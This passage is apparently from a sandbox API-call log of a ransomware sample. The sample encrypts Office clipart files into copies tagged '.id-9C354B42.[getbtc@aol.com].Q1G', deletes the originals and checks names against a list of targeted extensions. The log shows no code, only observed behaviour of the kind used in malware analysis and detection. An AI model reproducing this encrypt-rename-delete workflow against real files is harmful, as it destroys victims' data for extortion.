[0263.436] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.437] GetLastError () returned 0x0 [0263.437] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x9658, lpOverlapped=0x0) returned 1 [0263.439] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x9660, lpOverlapped=0x0) returned 1 [0263.440] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.441] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.441] SetEndOfFile (hFile=0x388) returned 1 [0263.441] CloseHandle (hObject=0x388) returned 1 [0263.441] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.441] SetEndOfFile (hFile=0x3a8) returned 1 [0263.444] CloseHandle (hObject=0x3a8) returned 1 [0263.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0263.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.445] lstrlenW (lpString=".doc") returned 4 [0263.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.445] lstrlenW (lpString=".docx") returned 5 [0263.445] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.445] lstrlenW (lpString=".pdf") returned 4 [0263.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.445] lstrlenW (lpString=".xls") returned 4 [0263.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.445] lstrlenW (lpString=".xlsx") returned 5 [0263.445] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.445] lstrlenW (lpString=".ppt") returned 4 [0263.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".zip") returned 4 [0263.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.446] lstrlenW (lpString=".rar") returned 4 [0263.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString=".bz2") returned 4 [0263.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString=".7z") returned 3 [0263.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".dbf") returned 4 [0263.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".1cd") returned 4 [0263.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".jpg") returned 4 [0263.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".doc") returned 4 [0263.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString=".docx") returned 5 [0263.446] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.446] lstrlenW (lpString=".pdf") returned 4 [0263.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString=".xls") returned 4 [0263.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.446] lstrlenW (lpString=".xlsx") returned 5 [0263.446] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.446] lstrlenW (lpString=".ppt") returned 4 [0263.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.446] lstrlenW (lpString=".zip") returned 4 [0263.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.447] lstrlenW (lpString=".rar") returned 4 [0263.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.447] lstrlenW (lpString=".bz2") returned 4 [0263.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.447] lstrlenW (lpString=".7z") returned 3 [0263.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.447] lstrlenW (lpString=".dbf") returned 4 [0263.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.447] lstrlenW (lpString=".1cd") returned 4 [0263.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0263.447] lstrlenW (lpString=".jpg") returned 4 [0263.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.447] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.447] lstrlenW (lpString="J0153307.WMF") returned 12 [0263.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.448] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15448) returned 1 [0263.448] CloseHandle (hObject=0x3a8) returned 1 [0263.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0263.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.449] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.449] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.450] GetLastError () returned 0x0 [0263.450] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3c58, lpOverlapped=0x0) returned 1 [0263.454] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3c60, lpOverlapped=0x0) returned 1 [0263.455] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.455] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.455] SetEndOfFile (hFile=0x388) returned 1 [0263.455] CloseHandle (hObject=0x388) returned 1 [0263.455] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.455] SetEndOfFile (hFile=0x3a8) returned 1 [0263.457] CloseHandle (hObject=0x3a8) returned 1 [0263.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0263.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.459] lstrlenW (lpString=".doc") returned 4 [0263.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString=".docx") returned 5 [0263.459] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.459] lstrlenW (lpString=".pdf") returned 4 [0263.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString=".xls") returned 4 [0263.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.459] lstrlenW (lpString=".xlsx") returned 5 [0263.459] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.459] lstrlenW (lpString=".ppt") returned 4 [0263.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.459] lstrlenW (lpString=".zip") returned 4 [0263.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.459] lstrlenW (lpString=".rar") returned 4 [0263.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString=".bz2") returned 4 [0263.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString=".7z") returned 3 [0263.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.459] lstrlenW (lpString=".dbf") returned 4 [0263.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.459] lstrlenW (lpString=".1cd") returned 4 [0263.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".jpg") returned 4 [0263.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".doc") returned 4 [0263.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString=".docx") returned 5 [0263.460] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.460] lstrlenW (lpString=".pdf") returned 4 [0263.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString=".xls") returned 4 [0263.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.460] lstrlenW (lpString=".xlsx") returned 5 [0263.460] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.460] lstrlenW (lpString=".ppt") returned 4 [0263.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".zip") returned 4 [0263.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.460] lstrlenW (lpString=".rar") returned 4 [0263.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString=".bz2") returned 4 [0263.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString=".7z") returned 3 [0263.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".dbf") returned 4 [0263.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".1cd") returned 4 [0263.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0263.460] lstrlenW (lpString=".jpg") returned 4 [0263.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.461] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.461] lstrlenW (lpString="J0153313.WMF") returned 12 [0263.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.461] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16952) returned 1 [0263.461] CloseHandle (hObject=0x3a8) returned 1 [0263.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0263.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.462] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.462] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.462] GetLastError () returned 0x0 [0263.462] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4238, lpOverlapped=0x0) returned 1 [0263.471] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4240, lpOverlapped=0x0) returned 1 [0263.472] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.472] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.472] SetEndOfFile (hFile=0x388) returned 1 [0263.472] CloseHandle (hObject=0x388) returned 1 [0263.473] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.473] SetEndOfFile (hFile=0x3a8) returned 1 [0263.475] CloseHandle (hObject=0x3a8) returned 1 [0263.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0263.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.476] lstrlenW (lpString=".doc") returned 4 [0263.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.476] lstrlenW (lpString=".docx") returned 5 [0263.476] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.476] lstrlenW (lpString=".pdf") returned 4 [0263.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.476] lstrlenW (lpString=".xls") returned 4 [0263.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.476] lstrlenW (lpString=".xlsx") returned 5 [0263.476] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.476] lstrlenW (lpString=".ppt") returned 4 [0263.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.476] lstrlenW (lpString=".zip") returned 4 [0263.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.476] lstrlenW (lpString=".rar") returned 4 [0263.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.476] lstrlenW (lpString=".bz2") returned 4 [0263.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString=".7z") returned 3 [0263.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString=".dbf") returned 4 [0263.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString=".1cd") returned 4 [0263.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString=".jpg") returned 4 [0263.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString=".doc") returned 4 [0263.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString=".docx") returned 5 [0263.477] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.477] lstrlenW (lpString=".pdf") returned 4 [0263.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString=".xls") returned 4 [0263.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.477] lstrlenW (lpString=".xlsx") returned 5 [0263.477] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.477] lstrlenW (lpString=".ppt") returned 4 [0263.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.477] lstrlenW (lpString=".zip") returned 4 [0263.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.477] lstrlenW (lpString=".rar") returned 4 [0263.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString=".bz2") returned 4 [0263.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.477] lstrlenW (lpString=".7z") returned 3 [0263.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.478] lstrlenW (lpString=".dbf") returned 4 [0263.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.478] lstrlenW (lpString=".1cd") returned 4 [0263.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0263.478] lstrlenW (lpString=".jpg") returned 4 [0263.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.478] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.478] lstrlenW (lpString="J0153398.WMF") returned 12 [0263.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.480] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17508) returned 1 [0263.480] CloseHandle (hObject=0x3a8) returned 1 [0263.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0263.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.481] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.481] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.482] GetLastError () returned 0x0 [0263.482] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, 